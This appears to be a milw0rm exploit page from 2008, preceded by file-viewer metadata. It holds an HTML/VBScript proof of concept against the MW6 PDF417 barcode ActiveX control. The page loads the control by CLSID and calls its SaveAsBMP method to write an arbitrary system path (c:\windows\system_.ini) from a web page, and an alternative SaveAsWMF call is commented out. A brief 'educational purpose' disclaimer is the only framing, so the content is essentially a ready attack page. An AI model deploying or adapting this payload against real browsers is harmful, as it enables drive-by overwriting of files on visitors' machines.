59 lines
No EOL
1.5 KiB
HTML
59 lines
No EOL
1.5 KiB
HTML
<!--
|
|
By Dr.Pantagon
|
|
DeltaSecurityCenter
|
|
www.DeltaSecurity.ir
|
|
Description : PDF417 ActiveX
|
|
ver : 3.0.0.1
|
|
CopyRight : MW6 Technologies, Inc.
|
|
Download Link :http://www.mw6tech.com/pdf417/try/MW6PDF417.zip
|
|
|
|
This was written for educational purpose. Use it at your own risk.
|
|
Author will be not responsible for any damage.
|
|
|
|
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6
|
|
|
|
This control contains two methods SaveAsBMP(); And SaveAsWMF();
|
|
|
|
Sub SaveAsWMF (
|
|
ByVal FileName As String
|
|
)
|
|
|
|
AND
|
|
|
|
Sub SaveAsWMF (
|
|
ByVal FileName As String
|
|
)
|
|
you can see this problem to all product this company
|
|
-->
|
|
<html>
|
|
Test Exploit page
|
|
<object classid='clsid:90D2A875-5024-4CCD-80AA-C8A353DB2B45' id='target' >
|
|
<param name="BackColor" value="16777215">
|
|
<param name="BarColor" value="0">
|
|
<param name="BorderStyle" value="0">
|
|
<param name="Data" value="12">
|
|
<param name="ModuleWidth" value="0,07">
|
|
<param name="Orientation" value="0">
|
|
<param name="SecurityLevel" value="2">
|
|
<param name="PDFMode" value="0">
|
|
<param name="PDFColumns" value="3">
|
|
<param name="PDFRows" value="0">
|
|
<param name="TruncateSymbol" value="0">
|
|
<param name="HandleTilde" value="0">
|
|
<param name="Y2XRatio" value="3">
|
|
</object>
|
|
<script language='vbscript'>
|
|
targetFile = "C:\WINDOWS\system32\MW6PDF417.dll"
|
|
prototype = "Sub SaveAsBMP ( ByVal FileName As String )"
|
|
memberName = "SaveAsBMP"
|
|
progid = "MW6PDF417Lib.PDF417"
|
|
argCount = 1
|
|
|
|
arg1="c:\windows\system_.ini"
|
|
|
|
target.SaveAsBMP arg1
|
|
'target.SaveAsWMF arg1
|
|
|
|
</script>
|
|
|
|
# milw0rm.com [2008-10-29] |